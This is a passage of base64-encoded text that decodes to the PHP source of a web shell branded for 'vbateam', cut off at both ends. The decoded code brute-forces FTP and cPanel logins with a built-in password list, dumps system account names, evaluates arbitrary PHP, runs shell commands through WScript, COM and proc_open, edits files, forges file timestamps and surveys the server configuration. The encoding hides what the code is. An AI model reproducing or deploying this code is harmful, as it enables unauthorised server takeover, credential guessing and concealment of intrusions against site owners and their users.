JjZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2JydXRlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJGJydXRlKTsNCkBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAxMDAwMDAwMDAwMDAwKTsNCiRjb25uZWN0X3RpbWVvdXQ9NTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiRzdWJtaXQgPSAkX1JFUVVFU1RbJ3N1Ym1pdCddOw0KJHVzZXJzID0gJF9SRVFVRVNUWyd1c2VycyddOw0KJHBhc3MgPSAkX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOw0KJHRhcmdldCA9ICRfUkVRVUVTVFsndGFyZ2V0J107DQokb3B0aW9uID0gJF9SRVFVRVNUWydvcHRpb24nXTsNCg0KDQokcGFzc2xpc3QgPSAiMDEyMzQ1Ng0KMDEyMzQ1NjcNCjAxMjM0NTY3OA0KMDEyMzQ1Njc4OQ0KMDEyMzQ1Njc4OTANCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MA0KMTExMTExDQowMDAwMDANCjIyMjIyMg0KMzMzMzMzDQo0NDQ0NDQNCjU1NTU1NQ0KNjY2NjY2DQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQoxMjMxMjMNCjQ1NjQ1Ng0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbg0KYWRtaW5pc3RyYXRvcg0KYWRtaW5jcA0KY3BhbmVsDQphZG1pbngNCmFkbWlucw0KcGFzc3dvcmQNCnBhc3N3b3Jkcw0KcGFzc3cwcmQNCnBAc3N3MHJkDQpwQHNzd29yZA0Ka2hvbmdjbw0KMjUyNTEzMjUNCnBhc3N3MHJkcyI7DQppZigkdGFyZ2V0ID09ICcnKXsNCiR0YXJnZXQgPSAnbG9jYWxob3N0JzsNCn0NCnByaW50ICIgPGRpdiBhbGlnbj0nY2VudGVyJz4NCg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBzdHlsZT0nYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCc+PGJyPjxicj4NCjxUQUJMRSBzdHlsZT0nQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZScgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk2NjExNyBjZWxsUGFkZGluZz01IHdpZHRoPSc0MCUnIGJnQ29sb3I9IzMwMzAzMCBib3JkZXJDb2xvckxpZ2h0PSM5NjYxMTcgYm9yZGVyPTE+PHRyPjx0ZD4NCjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtd2VpZ2h0OmJvbGQ7Jz48L3A+PC9mb250PjwvYj48L3A+DQo8ZGl2IGFsaWduPSdjZW50ZXInPjxicj4NCjxUQUJMRSBzdHlsZT0nQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZScgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk2NjExNyBjZWxsUGFkZGluZz01IHdpZHRoPSc1MCUnIGJnQ29sb3I9IzMwMzAzMCBib3JkZXJDb2xvckxpZ2h0PSM5NjYxMTcgYm9yZGVyPTE+DQo8dHI+DQo8dGQgYWxpZ249J2NlbnRlcic+DQo8Yj5Vc2VybmFtZTwvYj48L3RkPg0KPHRkPg0KPHAgYWxpZ249J2NlbnRlcic+DQo8Yj5QYXNzd29yZDwvYj48L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwIGFsaWduPSdjZW50ZXInPg0KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSd1c2VycycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4iOw0KJGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCg0KICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICghZW1wdHkoJGxpbmUpKSB7DQoNCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsNCiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICRpKys7DQp9DQplY2hvICINCjwvdGV4dGFyZWE+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3Bhc3N3b3JkcycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4kcGFzc2xpc3Q8L3RleHRhcmVhPjxicj4NCjxicj4NCjxiPk9wdGlvbnMgOiA8L3NwYW4+PGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2NwYW5lbCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz4gY1BhbmVsDQo8aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nZnRwJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIHR5cGU9J3JhZGlvJz4gZnRwID09PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQXR0YWNrJyBuYW1lPSdzdWJtaXQnID48L3A+DQo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsNCj8+DQo8P3BocA0KZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCg0KcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsNCmV4aXQ7fQ0KDQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KDQpwKCI8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyA8L2I+DQoNCjxiPiBBdHRhY2tpbmcgaGFzIGJlZW4gZG9uZSEgVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PiA9PiA8YSBocmVmPWh0dHA6Ly8kdXNlcjokcGFzc0AkaG9zdDoyMDgyIHRhcmdldD1fYmxhbms+TG9naW48L2E+PC9iPjxicj4iKTsNCn0NCmN1cmxfY2xvc2UoJGNoKTt9DQoNCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCnByaW50ICI8Yj4gRXJyb3IgOiBDb25uZWN0aW9uIHRpbWVkIG91dCAsIG1ha2UgY29uZmlkZW5jZSBhYm91dCB2YWxpZGF0aW9uIG9mIHRhcmdldCAhPC9iPiI7DQpleGl0O30NCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgYXR0YWNrQHZiYXRlYW0ubmV0IF0jIDwvYj48Yj5BdHRhY2tpbmcgaGFzIGJlZW4gZG9uZSE8L2E+IFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD48L2I+PGJyPiIpO31jdXJsX2Nsb3NlKCRjaCk7fQ0KDQppZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KDQokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7DQokcGFzc2xpc3QgPSBleHBsb2RlICgiXG4iICwgJHBhc3MgKTsNCnAoJzxiPlsgYXR0YWNrQHZiYXRlYW0ubmV0IF0jIEF0dGFja2luZyAuLi48L2ZvbnQ+PC9iPjxicj4nKTsNCmZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgew0KJF91c2VyID0gdHJpbSgkdXNlcik7DQpmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgew0KJF9wYXNzID0gdHJpbSgkcGFzc3dvcmQpOw0KaWYoJG9wdGlvbiA9PSAiZnRwIil7DQpmdHBfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KfQ0KaWYgKCRvcHRpb24gPT0gImNwYW5lbCIpDQp7DQpjcGFuZWxfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KfQ0KfQ0KfQ0KfQ0KDQoJZm9ybWZvb3QoKTsNCn0NCg0KDQoNCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZXRjcHdkJykgew0KZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0dldCAvZXRjL3Bhc3N3ZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZXRjcHdkJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KJGkgPSAwOw0KIGVjaG8gIjxwPjxicj48dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCJwaHBjb2RleHh4XCIgbmFtZT1cInBocGNvZGV4eHhcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjI1XCI+IjsNCndoaWxlICgkaSA8IDYwMDAwKSB7DQoNCiAgICAkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KDQogICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmJhX2V0Y3B3ZCkgPSBlYWNoKCRsaW5lKSl7DQogICAgICAgICAgICBlY2hvICIiLiR2YmFfZXRjcHdkLiJcbiI7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KDQogICAgfQ0KDQogICAkaSsrOw0KfQ0KICBlY2hvICI8L3RleHRhcmVhPjwvcD4iOw0KCWZvcm1mb290KCk7DQp9DQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZXZhbCcpIHsNCgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOw0KCWlmKCRwaHBjb2RlKXsNCgkJaWYgKCFwcmVnX21hdGNoKCcjPFw/I3NpJywgJHBocGNvZGUpKSB7DQoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsNCgkJfQ0KCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD8iKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2V2YWwnKTsNCgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOw0KCXAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBldmFsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdGZpbGUnKSB7DQoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7DQoJCUBmY2xvc2UoJGZwKTsNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZWRpdGZpbGUNCg0KZWxzZWlmICgkYWN0aW9uID09ICduZXd0aW1lJykgew0KCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7DQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoJJGNhY2hlbW9udGggPSBhcnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01heSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCglwKCd5ZWFyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOw0KCXAoJ21vbnRoOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdkYXk6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdob3VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ21pbnV0ZTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywndmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ3NlY29uZDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgbmV3dGltZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgew0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCWlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsNCgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoJCQltKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7DQoJCX0NCgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7DQoJCSEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsNCgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUHJvZ3JhbScsJ25hbWUnPT4ncHJvZ3JhbScsJ3ZhbHVlJz0+JHByb2dyYW0sJ25ld2xpbmUnPT4xKSk7DQoJCXAoJzxwPicpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoJCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCgkJcCgnPC9wPicpOw0KCQlmb3JtZm9vdCgpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoJfQ0KCXAoJzxwPicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQoNCglpZiAoJGNvbW1hbmQpIHsNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCgkJaWYgKCRleGVjZnVuYz09J3dzY3JpcHQnICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoJCQkkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOw0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCgkJCWVjaG8gJHN0cm91dHB1dDsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09J3Byb2Nfb3BlbicgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCgkJCSAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykNCgkJCSk7DQoJCQkkcHJvY2VzcyA9IHByb2Nfb3BlbigkX1NFUlZFUlsnQ09NU1BFQyddLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAiZXhpdFxyXG4iKTsNCgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMl0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1syXSk7DQoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQl9DQoJCX0gZWxzZSB7DQoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJfQ0KCQlwKCc8L3ByZT4nKTsNCgl9DQp9Ly9lbmQgc2hlbGwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7DQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KCSRhZG1pbm1haWw9aXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSA/ICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSA6IGdldGNmZygnc2VuZG1haWxfZnJvbScpOw0KCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsNCgkkaW5mbyA9IGFycmF5KA0KCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwNCg0KCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwNCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLA0KCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksDQoJCTE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLA0KCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLA0KCQkxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLA0KCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLA0KCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwNCgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwNCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksDQoJCTIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwNCgkpOw0KDQoJaWYoJHBocHZhcm5hbWUpIHsNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7DQoJbW